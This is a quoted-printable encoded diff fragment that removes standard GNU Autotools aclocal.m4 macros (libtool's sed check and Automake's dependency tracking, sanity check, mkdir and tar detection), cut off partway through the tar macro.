AC_SUBST(GCJFLAGS) -]) - -AC_DEFUN([LT_AC_PROG_RC], -[AC_CHECK_TOOL(RC, windres, no) -]) - -# NOTE: This macro has been submitted for inclusion into # -# GNU Autoconf as AC_PROG_SED. When it is available in # -# a released version of Autoconf we should remove this # -# macro and use it instead. # -# LT_AC_PROG_SED -# -------------- -# Check for a fully-functional sed program, that truncates -# as few characters as possible. Prefer GNU sed if found. -AC_DEFUN([LT_AC_PROG_SED], -[AC_MSG_CHECKING([for a sed that does not truncate output]) -AC_CACHE_VAL(lt_cv_path_SED, -[# Loop through the user's path and test for sed and gsed. -# Then use that list of sed's as ones to test for truncation. -as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for lt_ac_prog in sed gsed; do - for ac_exec_ext in '' $ac_executable_extensions; do - if $as_executable_p "$as_dir/$lt_ac_prog$ac_exec_ext"; then - lt_ac_sed_list=3D"$lt_ac_sed_list $as_dir/$lt_ac_prog$ac_exec_= ext" - fi - done - done -done -lt_ac_max=3D0 -lt_ac_count=3D0 -# Add /usr/xpg4/bin/sed as it is typically found on Solaris -# along with /bin/sed that truncates output. -for lt_ac_sed in $lt_ac_sed_list /usr/xpg4/bin/sed; do - test ! -f $lt_ac_sed && continue - cat /dev/null > conftest.in - lt_ac_count=3D0 - echo $ECHO_N "0123456789$ECHO_C" >conftest.in - # Check for GNU sed and select it if it is found. - if "$lt_ac_sed" --version 2>&1 < /dev/null | grep 'GNU' > /dev/null;= then - lt_cv_path_SED=3D$lt_ac_sed - break - fi - while true; do - cat conftest.in conftest.in >conftest.tmp - mv conftest.tmp conftest.in - cp conftest.in conftest.nl - echo >>conftest.nl - $lt_ac_sed -e 's/a$//' < conftest.nl >conftest.out || break - cmp -s conftest.out conftest.nl || break - # 10000 chars as input seems more than enough - test $lt_ac_count -gt 10 && break - lt_ac_count=3D`expr $lt_ac_count + 1` - if test $lt_ac_count -gt $lt_ac_max; then - lt_ac_max=3D$lt_ac_count - lt_cv_path_SED=3D$lt_ac_sed - fi - done -done -]) -SED=3D$lt_cv_path_SED -AC_MSG_RESULT([$SED]) -]) - -# Copyright (C) 2002, 2003, 2005 Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# AM_AUTOMAKE_VERSION(VERSION) -# ---------------------------- -# Automake X.Y traces this macro to ensure aclocal.m4 has been -# generated from the m4 files accompanying Automake X.Y. -AC_DEFUN([AM_AUTOMAKE_VERSION], [am__api_version=3D"1.9"]) - -# AM_SET_CURRENT_AUTOMAKE_VERSION -# ------------------------------- -# Call AM_AUTOMAKE_VERSION so it can be traced. -# This function is AC_REQUIREd by AC_INIT_AUTOMAKE. -AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION], -=09 [AM_AUTOMAKE_VERSION([1.9.6])]) - -# AM_AUX_DIR_EXPAND -*- Autoco= nf -*- - -# Copyright (C) 2001, 2003, 2005 Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# For projects using AC_CONFIG_AUX_DIR([foo]), Autoconf sets -# $ac_aux_dir to `$srcdir/foo'. In other projects, it is set to -# `$srcdir', `$srcdir/..', or `$srcdir/../..'. -# -# Of course, Automake must honor this variable whenever it calls a -# tool from the auxiliary directory. The problem is that $srcdir (and -# therefore $ac_aux_dir as well) can be either absolute or relative, -# depending on how configure is run. This is pretty annoying, since -# it makes $ac_aux_dir quite unusable in subdirectories: in the top -# source directory, any form will work fine, but in subdirectories a -# relative path needs to be adjusted first. -# -# $ac_aux_dir/missing -# fails when called from a subdirectory if $ac_aux_dir is relative -# $top_srcdir/$ac_aux_dir/missing -# fails if $ac_aux_dir is absolute, -# fails when called from a subdirectory in a VPATH build with -# a relative $ac_aux_dir -# -# The reason of the latter failure is that $top_srcdir and $ac_aux_dir -# are both prefixed by $srcdir. In an in-source build this is usually -# harmless because $srcdir is `.', but things will broke when you -# start a VPATH build or use an absolute $srcdir. -# -# So we could use something similar to $top_srcdir/$ac_aux_dir/missing= , -# iff we strip the leading $srcdir from $ac_aux_dir. That would be: -# am_aux_dir=3D'\$(top_srcdir)/'`expr "$ac_aux_dir" : "$srcdir//*\(.= *\)"` -# and then we would define $MISSING as -# MISSING=3D"\${SHELL} $am_aux_dir/missing" -# This will work as long as MISSING is not called from configure, beca= use -# unfortunately $(top_srcdir) has no meaning in configure. -# However there are other variables, like CC, which are often used in -# configure, and could therefore not use this "fixed" $ac_aux_dir. -# -# Another solution, used here, is to always expand $ac_aux_dir to an -# absolute PATH. The drawback is that using absolute paths prevent a -# configured tree to be moved without reconfiguration. - -AC_DEFUN([AM_AUX_DIR_EXPAND], -[dnl Rely on autoconf to set up CDPATH properly. -AC_PREREQ([2.50])dnl -# expand $ac_aux_dir to an absolute path -am_aux_dir=3D`cd $ac_aux_dir && pwd` -]) - -# AM_CONDITIONAL -*- Autoco= nf -*- - -# Copyright (C) 1997, 2000, 2001, 2003, 2004, 2005 -# Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# serial 7 - -# AM_CONDITIONAL(NAME, SHELL-CONDITION) -# ------------------------------------- -# Define a conditional. -AC_DEFUN([AM_CONDITIONAL], -[AC_PREREQ(2.52)dnl - ifelse([$1], [TRUE], [AC_FATAL([$0: invalid condition: $1])], -=09[$1], [FALSE], [AC_FATAL([$0: invalid condition: $1])])dnl -AC_SUBST([$1_TRUE]) -AC_SUBST([$1_FALSE]) -if $2; then - $1_TRUE=3D - $1_FALSE=3D'#' -else - $1_TRUE=3D'#' - $1_FALSE=3D -fi -AC_CONFIG_COMMANDS_PRE( -[if test -z "${$1_TRUE}" && test -z "${$1_FALSE}"; then - AC_MSG_ERROR([[conditional "$1" was never defined. -Usually this means the macro was only invoked conditionally.]]) -fi])]) - - -# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005 -# Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# serial 8 - -# There are a few dirty hacks below to avoid letting `AC_PROG_CC' be -# written in clear, in which case automake, when reading aclocal.m4, -# will think it sees a *use*, and therefore will trigger all it's -# C support machinery. Also note that it means that autoscan, seeing -# CC etc. in the Makefile, will ask for an AC_PROG_CC use... - - -# _AM_DEPENDENCIES(NAME) -# ---------------------- -# See how the compiler implements dependency checking. -# NAME is "CC", "CXX", "GCJ", or "OBJC". -# We try a few techniques and use that to set a single cache variable. -# -# We don't AC_REQUIRE the corresponding AC_PROG_CC since the latter wa= s -# modified to invoke _AM_DEPENDENCIES(CC); we would have a circular -# dependency, and given that the user is not expected to run this macr= o, -# just rely on AC_PROG_CC. -AC_DEFUN([_AM_DEPENDENCIES], -[AC_REQUIRE([AM_SET_DEPDIR])dnl -AC_REQUIRE([AM_OUTPUT_DEPENDENCY_COMMANDS])dnl -AC_REQUIRE([AM_MAKE_INCLUDE])dnl -AC_REQUIRE([AM_DEP_TRACK])dnl - -ifelse([$1], CC, [depcc=3D"$CC" am_compiler_list=3D], - [$1], CXX, [depcc=3D"$CXX" am_compiler_list=3D], - [$1], OBJC, [depcc=3D"$OBJC" am_compiler_list=3D'gcc3 gcc'], - [$1], GCJ, [depcc=3D"$GCJ" am_compiler_list=3D'gcc3 gcc'], - [depcc=3D"$$1" am_compiler_list=3D]) - -AC_CACHE_CHECK([dependency style of $depcc], - [am_cv_$1_dependencies_compiler_type], -[if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then - # We make a subdir and do the tests there. Otherwise we can end up - # making bogus files that we don't know about and never remove. For - # instance it was reported that on HP-UX the gcc test will end up - # making a dummy file named `D' -- because `-MD' means `put the outp= ut - # in D'. - mkdir conftest.dir - # Copy depcomp to subdir because otherwise we won't find it if we're - # using a relative directory. - cp "$am_depcomp" conftest.dir - cd conftest.dir - # We will build objects and dependencies in a subdirectory because - # it helps to detect inapplicable dependency modes. For instance - # both Tru64's cc and ICC support -MD to output dependencies as a - # side effect of compilation, but ICC will put the dependencies in - # the current directory while Tru64 will put them in the object - # directory. - mkdir sub - - am_cv_$1_dependencies_compiler_type=3Dnone - if test "$am_compiler_list" =3D ""; then - am_compiler_list=3D`sed -n ['s/^#*\([a-zA-Z0-9]*\))$/\1/p'] < ./d= epcomp` - fi - for depmode in $am_compiler_list; do - # Setup a source with many dependencies, because some compilers - # like to wrap large dependency lists on column 80 (with \), and - # we should not choose a depcomp mode which is confused by this. - # - # We need to recreate these files for each test, as the compiler m= ay - # overwrite some of them when testing with obscure command lines. - # This happens at least with the AIX C compiler. - : > sub/conftest.c - for i in 1 2 3 4 5 6; do - echo '#include "conftst'$i'.h"' >> sub/conftest.c - # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with - # Solaris 8's {/usr,}/bin/sh. - touch sub/conftst$i.h - done - echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > co= nfmf - - case $depmode in - nosideeffect) - # after this tag, mechanisms are not by side-effect, so they'll - # only be used when explicitly requested - if test "x$enable_dependency_tracking" =3D xyes; then -=09continue - else -=09break - fi - ;; - none) break ;; - esac - # We check with `-c' and `-o' for the sake of the "dashmstdout" - # mode. It turns out that the SunPro C++ compiler does not proper= ly - # handle `-M -o', and we need to detect this. - if depmode=3D$depmode \ - source=3Dsub/conftest.c object=3Dsub/conftest.${OBJEXT-o} \ - depfile=3Dsub/conftest.Po tmpdepfile=3Dsub/conftest.TPo \ - $SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conf= test.c \ - >/dev/null 2>conftest.err && - grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 && - grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 = && - ${MAKE-make} -s -f confmf > /dev/null 2>&1; then - # icc doesn't choke on unknown options, it will just issue warni= ngs - # or remarks (even with -Werror). So we grep stderr for any mes= sage - # that says an option was ignored or not supported. - # When given -MP, icc 7.0 and 7.1 complain thusly: - # icc: Command line warning: ignoring option '-M'; no argument= required - # The diagnosis changed in icc 8.0: - # icc: Command line remark: option '-MP' not supported - if (grep 'ignoring option' conftest.err || - grep 'not supported' conftest.err) >/dev/null 2>&1; then :; = else - am_cv_$1_dependencies_compiler_type=3D$depmode - break - fi - fi - done - - cd .. - rm -rf conftest.dir -else - am_cv_$1_dependencies_compiler_type=3Dnone -fi -]) -AC_SUBST([$1DEPMODE], [depmode=3D$am_cv_$1_dependencies_compiler_type]= ) -AM_CONDITIONAL([am__fastdep$1], [ - test "x$enable_dependency_tracking" !=3D xno \ - && test "$am_cv_$1_dependencies_compiler_type" =3D gcc3]) -]) - - -# AM_SET_DEPDIR -# ------------- -# Choose a directory name for dependency files. -# This macro is AC_REQUIREd in _AM_DEPENDENCIES -AC_DEFUN([AM_SET_DEPDIR], -[AC_REQUIRE([AM_SET_LEADING_DOT])dnl -AC_SUBST([DEPDIR], ["${am__leading_dot}deps"])dnl -]) - - -# AM_DEP_TRACK -# ------------ -AC_DEFUN([AM_DEP_TRACK], -[AC_ARG_ENABLE(dependency-tracking, -[ --disable-dependency-tracking speeds up one-time build - --enable-dependency-tracking do not reject slow dependency extract= ors]) -if test "x$enable_dependency_tracking" !=3D xno; then - am_depcomp=3D"$ac_aux_dir/depcomp" - AMDEPBACKSLASH=3D'\' -fi -AM_CONDITIONAL([AMDEP], [test "x$enable_dependency_tracking" !=3D xno]= ) -AC_SUBST([AMDEPBACKSLASH]) -]) - -# Generate code to set up dependency tracking. -*- Autoco= nf -*- - -# Copyright (C) 1999, 2000, 2001, 2002, 2003, 2004, 2005 -# Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -#serial 3 - -# _AM_OUTPUT_DEPENDENCY_COMMANDS -# ------------------------------ -AC_DEFUN([_AM_OUTPUT_DEPENDENCY_COMMANDS], -[for mf in $CONFIG_FILES; do - # Strip MF so we end up with the name of the file. - mf=3D`echo "$mf" | sed -e 's/:.*$//'` - # Check whether this is an Automake generated Makefile or not. - # We used to match only the files named `Makefile.in', but - # some people rename them; so instead we look at the file content. - # Grep'ing the first line is not enough: some people post-process - # each Makefile.in and add a new line on top of each file to say so. - # So let's grep whole file. - if grep '^#.*generated by automake' $mf > /dev/null 2>&1; then - dirpart=3D`AS_DIRNAME("$mf")` - else - continue - fi - # Extract the definition of DEPDIR, am__include, and am__quote - # from the Makefile without running `make'. - DEPDIR=3D`sed -n 's/^DEPDIR =3D //p' < "$mf"` - test -z "$DEPDIR" && continue - am__include=3D`sed -n 's/^am__include =3D //p' < "$mf"` - test -z "am__include" && continue - am__quote=3D`sed -n 's/^am__quote =3D //p' < "$mf"` - # When using ansi2knr, U may be empty or an underscore; expand it - U=3D`sed -n 's/^U =3D //p' < "$mf"` - # Find all dependency output files, they are included files with - # $(DEPDIR) in their names. We invoke sed twice because it is the - # simplest approach to changing $(DEPDIR) to its actual value in the - # expansion. - for file in `sed -n " - s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$m= f" | \ - sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do - # Make sure the directory exists. - test -f "$dirpart/$file" && continue - fdir=3D`AS_DIRNAME(["$file"])` - AS_MKDIR_P([$dirpart/$fdir]) - # echo "creating $dirpart/$file" - echo '# dummy' > "$dirpart/$file" - done -done -])# _AM_OUTPUT_DEPENDENCY_COMMANDS - - -# AM_OUTPUT_DEPENDENCY_COMMANDS -# ----------------------------- -# This macro should only be invoked once -- use via AC_REQUIRE. -# -# This code is only required when automatic dependency tracking -# is enabled. FIXME. This creates each `.P' file that we will -# need in order to bootstrap the dependency handling code. -AC_DEFUN([AM_OUTPUT_DEPENDENCY_COMMANDS], -[AC_CONFIG_COMMANDS([depfiles], - [test x"$AMDEP_TRUE" !=3D x"" || _AM_OUTPUT_DEPENDENCY_COMMANDS], - [AMDEP_TRUE=3D"$AMDEP_TRUE" ac_aux_dir=3D"$ac_aux_dir"]) -]) - -# Do all the work for Automake. -*- Autoco= nf -*- - -# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, = 2005 -# Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# serial 12 - -# This macro actually does too much. Some checks are only needed if -# your package does certain things. But this isn't really a big deal. - -# AM_INIT_AUTOMAKE(PACKAGE, VERSION, [NO-DEFINE]) -# AM_INIT_AUTOMAKE([OPTIONS]) -# ----------------------------------------------- -# The call with PACKAGE and VERSION arguments is the old style -# call (pre autoconf-2.50), which is being phased out. PACKAGE -# and VERSION should now be passed to AC_INIT and removed from -# the call to AM_INIT_AUTOMAKE. -# We support both call styles for the transition. After -# the next Automake release, Autoconf can make the AC_INIT -# arguments mandatory, and then we can depend on a new Autoconf -# release and drop the old call support. -AC_DEFUN([AM_INIT_AUTOMAKE], -[AC_PREREQ([2.58])dnl -dnl Autoconf wants to disallow AM_ names. We explicitly allow -dnl the ones we care about. -m4_pattern_allow([^AM_[A-Z]+FLAGS$])dnl -AC_REQUIRE([AM_SET_CURRENT_AUTOMAKE_VERSION])dnl -AC_REQUIRE([AC_PROG_INSTALL])dnl -# test to see if srcdir already configured -if test "`cd $srcdir && pwd`" !=3D "`pwd`" && - test -f $srcdir/config.status; then - AC_MSG_ERROR([source directory already configured; run "make distcle= an" there first]) -fi - -# test whether we have cygpath -if test -z "$CYGPATH_W"; then - if (cygpath --version) >/dev/null 2>/dev/null; then - CYGPATH_W=3D'cygpath -w' - else - CYGPATH_W=3Decho - fi -fi -AC_SUBST([CYGPATH_W]) - -# Define the identity of the package. -dnl Distinguish between old-style and new-style calls. -m4_ifval([$2], -[m4_ifval([$3], [_AM_SET_OPTION([no-define])])dnl - AC_SUBST([PACKAGE], [$1])dnl - AC_SUBST([VERSION], [$2])], -[_AM_SET_OPTIONS([$1])dnl - AC_SUBST([PACKAGE], ['AC_PACKAGE_TARNAME'])dnl - AC_SUBST([VERSION], ['AC_PACKAGE_VERSION'])])dnl - -_AM_IF_OPTION([no-define],, -[AC_DEFINE_UNQUOTED(PACKAGE, "$PACKAGE", [Name of package]) - AC_DEFINE_UNQUOTED(VERSION, "$VERSION", [Version number of package])]= )dnl - -# Some tools Automake needs. -AC_REQUIRE([AM_SANITY_CHECK])dnl -AC_REQUIRE([AC_ARG_PROGRAM])dnl -AM_MISSING_PROG(ACLOCAL, aclocal-${am__api_version}) -AM_MISSING_PROG(AUTOCONF, autoconf) -AM_MISSING_PROG(AUTOMAKE, automake-${am__api_version}) -AM_MISSING_PROG(AUTOHEADER, autoheader) -AM_MISSING_PROG(MAKEINFO, makeinfo) -AM_PROG_INSTALL_SH -AM_PROG_INSTALL_STRIP -AC_REQUIRE([AM_PROG_MKDIR_P])dnl -# We need awk for the "check" target. The system "awk" is bad on -# some platforms. -AC_REQUIRE([AC_PROG_AWK])dnl -AC_REQUIRE([AC_PROG_MAKE_SET])dnl -AC_REQUIRE([AM_SET_LEADING_DOT])dnl -_AM_IF_OPTION([tar-ustar], [_AM_PROG_TAR([ustar])], - [_AM_IF_OPTION([tar-pax], [_AM_PROG_TAR([pax])], -=09 =09=09 [_AM_PROG_TAR([v7])])]) -_AM_IF_OPTION([no-dependencies],, -[AC_PROVIDE_IFELSE([AC_PROG_CC], - [_AM_DEPENDENCIES(CC)], - [define([AC_PROG_CC], - defn([AC_PROG_CC])[_AM_DEPENDENCIES(CC)])])d= nl -AC_PROVIDE_IFELSE([AC_PROG_CXX], - [_AM_DEPENDENCIES(CXX)], - [define([AC_PROG_CXX], - defn([AC_PROG_CXX])[_AM_DEPENDENCIES(CXX)])]= )dnl -]) -]) - - -# When config.status generates a header, we must update the stamp-h fi= le. -# This file resides in the same directory as the config header -# that is generated. The stamp files are numbered to have different n= ames. - -# Autoconf calls _AC_AM_CONFIG_HEADER_HOOK (when defined) in the -# loop where config.status creates the headers, so we can generate -# our stamp files there. -AC_DEFUN([_AC_AM_CONFIG_HEADER_HOOK], -[# Compute $1's index in $config_headers. -_am_stamp_count=3D1 -for _am_header in $config_headers :; do - case $_am_header in - $1 | $1:* ) - break ;; - * ) - _am_stamp_count=3D`expr $_am_stamp_count + 1` ;; - esac -done -echo "timestamp for $1" >`AS_DIRNAME([$1])`/stamp-h[]$_am_stamp_count]= ) - -# Copyright (C) 2001, 2003, 2005 Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# AM_PROG_INSTALL_SH -# ------------------ -# Define $install_sh. -AC_DEFUN([AM_PROG_INSTALL_SH], -[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl -install_sh=3D${install_sh-"$am_aux_dir/install-sh"} -AC_SUBST(install_sh)]) - -# Copyright (C) 2003, 2005 Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# serial 2 - -# Check whether the underlying file-system supports filenames -# with a leading dot. For instance MS-DOS doesn't. -AC_DEFUN([AM_SET_LEADING_DOT], -[rm -rf .tst 2>/dev/null -mkdir .tst 2>/dev/null -if test -d .tst; then - am__leading_dot=3D. -else - am__leading_dot=3D_ -fi -rmdir .tst 2>/dev/null -AC_SUBST([am__leading_dot])]) - -# Check to see how 'make' treats includes.=09 -*- Autoconf = -*- - -# Copyright (C) 2001, 2002, 2003, 2005 Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# serial 3 - -# AM_MAKE_INCLUDE() -# ----------------- -# Check to see how make treats includes. -AC_DEFUN([AM_MAKE_INCLUDE], -[am_make=3D${MAKE-make} -cat > confinc << 'END' -am__doit: -=09@echo done -.PHONY: am__doit -END -# If we don't find an include directive, just comment out the code. -AC_MSG_CHECKING([for style of include used by $am_make]) -am__include=3D"#" -am__quote=3D -_am_result=3Dnone -# First try GNU make style include. -echo "include confinc" > confmf -# We grep out `Entering directory' and `Leaving directory' -# messages which can occur if `w' ends up in MAKEFLAGS. -# In particular we don't look at `^make:' because GNU make might -# be invoked under some other name (usually "gmake"), in which -# case it prints its new name instead of `make'. -if test "`$am_make -s -f confmf 2> /dev/null | grep -v 'ing directory'= `" =3D "done"; then - am__include=3Dinclude - am__quote=3D - _am_result=3DGNU -fi -# Now try BSD make style include. -if test "$am__include" =3D "#"; then - echo '.include "confinc"' > confmf - if test "`$am_make -s -f confmf 2> /dev/null`" =3D "done"; then - am__include=3D.include - am__quote=3D"\"" - _am_result=3DBSD - fi -fi -AC_SUBST([am__include]) -AC_SUBST([am__quote]) -AC_MSG_RESULT([$_am_result]) -rm -f confinc confmf -]) - -# Fake the existence of programs that GNU maintainers use. -*- Autoco= nf -*- - -# Copyright (C) 1997, 1999, 2000, 2001, 2003, 2005 -# Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# serial 4 - -# AM_MISSING_PROG(NAME, PROGRAM) -# ------------------------------ -AC_DEFUN([AM_MISSING_PROG], -[AC_REQUIRE([AM_MISSING_HAS_RUN]) -$1=3D${$1-"${am_missing_run}$2"} -AC_SUBST($1)]) - - -# AM_MISSING_HAS_RUN -# ------------------ -# Define MISSING if not defined so far and test if it supports --run. -# If it does, set am_missing_run to use it, otherwise, to nothing. -AC_DEFUN([AM_MISSING_HAS_RUN], -[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl -test x"${MISSING+set}" =3D xset || MISSING=3D"\${SHELL} $am_aux_dir/mi= ssing" -# Use eval to expand $SHELL -if eval "$MISSING --run true"; then - am_missing_run=3D"$MISSING --run " -else - am_missing_run=3D - AC_MSG_WARN([`missing' script is too old or missing]) -fi -]) - -# Copyright (C) 2003, 2004, 2005 Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# AM_PROG_MKDIR_P -# --------------- -# Check whether `mkdir -p' is supported, fallback to mkinstalldirs oth= erwise. -# -# Automake 1.8 used `mkdir -m 0755 -p --' to ensure that directories -# created by `make install' are always world readable, even if the -# installer happens to have an overly restrictive umask (e.g. 077). -# This was a mistake. There are at least two reasons why we must not -# use `-m 0755': -# - it causes special bits like SGID to be ignored, -# - it may be too restrictive (some setups expect 775 directories). -# -# Do not use -m 0755 and let people choose whatever they expect by -# setting umask. -# -# We cannot accept any implementation of `mkdir' that recognizes `-p'. -# Some implementations (such as Solaris 8's) are not thread-safe: if a -# parallel make tries to run `mkdir -p a/b' and `mkdir -p a/c' -# concurrently, both version can detect that a/ is missing, but only -# one can create it and the other will error out. Consequently we -# restrict ourselves to GNU make (using the --version option ensures -# this.) -AC_DEFUN([AM_PROG_MKDIR_P], -[if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; the= n - # We used to keeping the `.' as first argument, in order to - # allow $(mkdir_p) to be used without argument. As in - # $(mkdir_p) $(somedir) - # where $(somedir) is conditionally defined. However this is wrong - # for two reasons: - # 1. if the package is installed by a user who cannot write `.' - # make install will fail, - # 2. the above comment should most certainly read - # $(mkdir_p) $(DESTDIR)$(somedir) - # so it does not work when $(somedir) is undefined and - # $(DESTDIR) is not. - # To support the latter case, we have to write - # test -z "$(somedir)" || $(mkdir_p) $(DESTDIR)$(somedir), - # so the `.' trick is pointless. - mkdir_p=3D'mkdir -p --' -else - # On NextStep and OpenStep, the `mkdir' command does not - # recognize any option. It will interpret all options as - # directories to create, and then abort because `.' already - # exists. - for d in ./-p ./--version; - do - test -d $d && rmdir $d - done - # $(mkinstalldirs) is defined by Automake if mkinstalldirs exists. - if test -f "$ac_aux_dir/mkinstalldirs"; then - mkdir_p=3D'$(mkinstalldirs)' - else - mkdir_p=3D'$(install_sh) -d' - fi -fi -AC_SUBST([mkdir_p])]) - -# Helper functions for option handling. -*- Autoco= nf -*- - -# Copyright (C) 2001, 2002, 2003, 2005 Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# serial 3 - -# _AM_MANGLE_OPTION(NAME) -# ----------------------- -AC_DEFUN([_AM_MANGLE_OPTION], -[[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])]) - -# _AM_SET_OPTION(NAME) -# ------------------------------ -# Set option NAME. Presently that only means defining a flag for this= option. -AC_DEFUN([_AM_SET_OPTION], -[m4_define(_AM_MANGLE_OPTION([$1]), 1)]) - -# _AM_SET_OPTIONS(OPTIONS) -# ---------------------------------- -# OPTIONS is a space-separated list of Automake options. -AC_DEFUN([_AM_SET_OPTIONS], -[AC_FOREACH([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])]) - -# _AM_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET]) -# ------------------------------------------- -# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise. -AC_DEFUN([_AM_IF_OPTION], -[m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])]) - -# Check to make sure that the build environment is sane. -*- Autoco= nf -*- - -# Copyright (C) 1996, 1997, 2000, 2001, 2003, 2005 -# Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# serial 4 - -# AM_SANITY_CHECK -# --------------- -AC_DEFUN([AM_SANITY_CHECK], -[AC_MSG_CHECKING([whether build environment is sane]) -# Just in case -sleep 1 -echo timestamp > conftest.file -# Do `set' in a subshell so we don't clobber the current shell's -# arguments. Must try -L first in case configure is actually a -# symlink; some systems play weird games with the mod time of symlinks -# (eg FreeBSD returns the mod time of the symlink's containing -# directory). -if ( - set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null` - if test "$[*]" =3D "X"; then - # -L didn't work. - set X `ls -t $srcdir/configure conftest.file` - fi - rm -f conftest.file - if test "$[*]" !=3D "X $srcdir/configure conftest.file" \ - && test "$[*]" !=3D "X conftest.file $srcdir/configure"; then - - # If neither matched, then we have a broken ls. This can happen - # if, for instance, CONFIG_SHELL is bash and it inherits a - # broken ls alias from the environment. This has actually - # happened. Such a system could not be considered "sane". - AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a b= roken -alias in your environment]) - fi - - test "$[2]" =3D conftest.file - ) -then - # Ok. - : -else - AC_MSG_ERROR([newly created file is older than distributed files! -Check your system clock]) -fi -AC_MSG_RESULT(yes)]) - -# Copyright (C) 2001, 2003, 2005 Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# AM_PROG_INSTALL_STRIP -# --------------------- -# One issue with vendor `install' (even GNU) is that you can't -# specify the program used to strip binaries. This is especially -# annoying in cross-compiling environments, where the build's strip -# is unlikely to handle the host's binaries. -# Fortunately install-sh will honor a STRIPPROG variable, so we -# always use install-sh in `make install-strip', and initialize -# STRIPPROG with the value of the STRIP variable (set by the user). -AC_DEFUN([AM_PROG_INSTALL_STRIP], -[AC_REQUIRE([AM_PROG_INSTALL_SH])dnl -# Installed binaries are usually stripped using `strip' when the user -# run `make install-strip'. However `strip' might not be the right -# tool to use in cross-compilation environments, therefore Automake -# will honor the `STRIP' environment variable to overrule this program= . -dnl Don't test for $cross_compiling =3D yes, because it might be `mayb= e'. -if test "$cross_compiling" !=3D no; then - AC_CHECK_TOOL([STRIP], [strip], :) -fi -INSTALL_STRIP_PROGRAM=3D"\${SHELL} \$(install_sh) -c -s" -AC_SUBST([INSTALL_STRIP_PROGRAM])]) - -# Check how to create a tarball. -*- Autoco= nf -*- - -# Copyright (C) 2004, 2005 Free Software Foundation, Inc. -# -# This file is free software; the Free Software Foundation -# gives unlimited permission to copy and/or distribute it, -# with or without modifications, as long as this notice is preserved. - -# serial 2 - -# _AM_PROG_TAR(FORMAT) -# -------------------- -# Check how to create a tarball in format FORMAT. -# FORMAT should be one of `v7', `ustar', or `pax'. -# -# Substitute a variable $(am__tar) that is a command -# writing to stdout a FORMAT-tarball containing the directory -# $tardir. -# tardir=3Ddirectory && $(am__tar) > result.tar -# -# Substitute a variable $(am__untar) that extract such -# a tarball read from stdin. -# $(am__untar) < result.tar -AC_DEFUN([_AM_PROG_TAR], -[# Always define AMTAR for backward compatibility. -AM_MISSING_PROG([AMTAR], [tar]) -m4_if([$1], [v7], - [am__tar=3D'${AMTAR} chof - "$$tardir"'; am__untar=3D'${AMTAR} xf= -'], - [m4_case([$1], [ustar],, [pax],, - [m4_fatal([Unknown tar format])]) -AC_MSG_CHECKING([how to create a $1 tar archive]) -# Loop over all known methods to create a tar archive until one works. -_am_tools=3D'gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none' -_am_tools=3D${am_cv_prog_tar_$1-$_am_tools} -# Do not fold the above two line into one, because Tru64 sh and -# Solaris sh will not grok spaces in the rhs of `-'. -for _am_tool in $_am_tools -do - case $_am_tool in - gnutar) - for _am_tar in tar gnutar gtar; - do - AM_RUN_LOG([$_am_tar --version]) && break - done - am__tar=3D"$_am_tar --format=3Dm4_if([$1], [pax], [posix], [$1]) -= chf - "'"$$tardir"' - 